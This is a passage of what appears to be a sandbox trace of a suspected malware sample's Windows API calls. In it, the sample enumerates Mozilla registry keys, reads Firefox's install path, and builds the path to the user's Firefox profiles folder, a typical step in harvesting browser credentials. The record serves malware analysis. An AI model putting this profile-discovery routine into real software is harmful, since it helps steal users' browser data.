lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.131] RegCloseKey (hKey=0x134) returned 0x0 [0071.131] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.131] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.131] RegCloseKey (hKey=0x134) returned 0x0 [0071.131] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.131] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.131] RegCloseKey (hKey=0x134) returned 0x0 [0071.131] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.131] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.131] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.131] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0071.131] lstrlenA (lpString="\\") returned 1 [0071.131] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x65d330 [0071.131] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.131] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.131] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0071.131] lstrlenA (lpString="0") returned 1 [0071.131] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x641518 [0071.131] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0071.131] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0071.131] LocalFree (hMem=0x65d330) returned 0x0 [0071.131] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Mozilla") returned="Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0071.131] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0071.131] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x0, lpData=0x0, lpcbData=0x12fcd8*=0x0) returned 0x2 [0071.132] RegCloseKey (hKey=0x138) returned 0x0 [0071.132] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fcb0 | out: phkResult=0x12fcb0*=0x138) returned 0x0 [0071.132] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fca8, lpData=0x0, lpcbData=0x12fcac*=0x12fc94 | out: lpType=0x12fca8*=0x0, lpData=0x0, lpcbData=0x12fcac*=0x0) returned 0x2 [0071.132] RegCloseKey (hKey=0x138) returned 0x0 [0071.132] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fc84 | out: phkResult=0x12fc84*=0x138) returned 0x0 [0071.132] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fc7c, lpData=0x0, lpcbData=0x12fc80*=0x12fc68 | out: lpType=0x12fc7c*=0x0, lpData=0x0, lpcbData=0x12fc80*=0x0) returned 0x2 [0071.132] RegCloseKey (hKey=0x138) returned 0x0 [0071.132] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.132] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.132] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.132] RegCloseKey (hKey=0x138) returned 0x0 [0071.132] LocalFree (hMem=0x649428) returned 0x0 [0071.132] LocalFree (hMem=0x641518) returned 0x0 [0071.132] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.132] RegCloseKey (hKey=0x134) returned 0x0 [0071.132] LocalFree (hMem=0x646ba0) returned 0x0 [0071.132] LocalFree (hMem=0x65e350) returned 0x0 [0071.132] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.132] RegCloseKey (hKey=0x130) returned 0x0 [0071.132] LocalFree (hMem=0x646318) returned 0x0 [0071.132] LocalFree (hMem=0x6292f8) returned 0x0 [0071.132] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x2, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.132] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.132] lstrlenA (lpString="\\") returned 1 [0071.132] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.132] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.132] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.132] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.132] lstrlenA (lpString="Mozilla Firefox") returned 15 [0071.132] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0071.132] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.132] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.132] LocalFree (hMem=0x65e350) returned 0x0 [0071.132] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox" [0071.132] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.132] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.132] RegCloseKey (hKey=0x130) returned 0x0 [0071.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.133] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.133] RegCloseKey (hKey=0x130) returned 0x0 [0071.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.133] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.133] RegCloseKey (hKey=0x130) returned 0x0 [0071.133] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.133] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.133] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.133] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0071.133] lstrlenA (lpString="\\") returned 1 [0071.133] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0071.133] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0071.133] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.133] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0071.133] lstrlenA (lpString="25.0 (en-US)") returned 12 [0071.133] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647440 [0071.133] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0071.133] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.133] LocalFree (hMem=0x6293a8) returned 0x0 [0071.133] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.133] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.133] RegCloseKey (hKey=0x134) returned 0x0 [0071.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.133] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.133] RegCloseKey (hKey=0x134) returned 0x0 [0071.133] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.133] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.133] RegCloseKey (hKey=0x134) returned 0x0 [0071.133] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.133] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.133] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.133] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.133] lstrlenA (lpString="\\") returned 1 [0071.133] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.134] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.134] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.134] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.134] lstrlenA (lpString="Main") returned 4 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.134] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.134] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0071.134] LocalFree (hMem=0x6474f8) returned 0x0 [0071.134] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0071.134] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0071.134] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x1, lpData=0x0, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6474f8 [0071.134] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6474f8, lpcbData=0x12fcd8*=0x2d | out: lpType=0x0, lpData=0x6474f8*=0x43, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0071.134] RegCloseKey (hKey=0x138) returned 0x0 [0071.134] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.134] lstrlenA (lpString="") returned 0 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6475b0 [0071.134] lstrcpyA (in: lpString1=0x6475b0, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.134] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0071.134] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0071.134] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0071.134] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0071.134] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.134] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.134] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.134] lstrlenA (lpString="\\Mozilla\\Profiles\\") returned 18 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643b68 [0071.134] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.134] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Profiles\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\" [0071.134] LocalFree (hMem=0x626a88) returned 0x0 [0071.134] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Profiles\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0071.134] LocalFree (hMem=0x643b68) returned 0x0 [0071.134] LocalFree (hMem=0x6475b0) returned 0x0 [0071.134] LocalFree (hMem=0x6474f8) returned 0x0 [0071.134] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.134] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.134] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.134] RegCloseKey (hKey=0x138) returned 0x0 [0071.135] LocalFree (hMem=0x649428) returned 0x0 [0071.135] LocalFree (hMem=0x643aa8) returned 0x0 [0071.135] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.135] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0071.135] lstrlenA (lpString="\\") returned 1 [0071.135] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0071.135] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0071.135] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.135] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0071.135] lstrlenA (lpString="Uninstall") returned 9 [0071.135] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0071.135] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0071.135] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0071.135] LocalFree (hMem=0x6474f8) returned 0x0 [0071.135] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0071.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0071.135] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x0, lpData=0x0, lpcbData=0x12fcd8*=0x0) returned 0x2 [0071.135] RegCloseKey (hKey=0x138) returned 0x0 [0071.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fcb0 | out: phkResult=0x12fcb0*=0x138) returned 0x0 [0071.135] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fca8, lpData=0x0, lpcbData=0x12fcac*=0x12fc94 | out: lpType=0x12fca8*=0x0, lpData=0x0, lpcbData=0x12fcac*=0x0) returned 0x2 [0071.135] RegCloseKey (hKey=0x138) returned 0x0 [0071.135] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fc84 | out: phkResult=0x12fc84*=0x138) returned 0x0 [0071.135] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fc7c, lpData=0x0, lpcbData=0x12fc80*=0x12fc68 | out: lpType=0x12fc7c*=0x0, lpData=0x0, lpcbData=0x12fc80*=0x0) returned 0x2 [0071.135] RegCloseKey (hKey=0x138) returned 0x0 [0071.135] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0071.135] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0071.135] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.135] RegCloseKey (hKey=0x138) returned 0x0 [0071.135] LocalFree (hMem=0x649428) returned 0x0 [0071.135] LocalFree (hMem=0x643aa8) returned 0x0 [0071.135] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x2, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.135] RegCloseKey (hKey=0x134) returned 0x0 [0071.135] LocalFree (hMem=0x646ba0) returned 0x0 [0071.135] LocalFree (hMem=0x647440) returned 0x0 [0071.135] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.135] RegCloseKey (hKey=0x130) returned 0x0 [0071.135] LocalFree (hMem=0x646318) returned 0x0 [0071.135] LocalFree (hMem=0x6292f8) returned 0x0 [0071.135] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x3, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.136] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.136] lstrlenA (lpString="\\") returned 1 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.136] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.136] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.136] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.136] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0071.136] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0071.136] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.136] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") 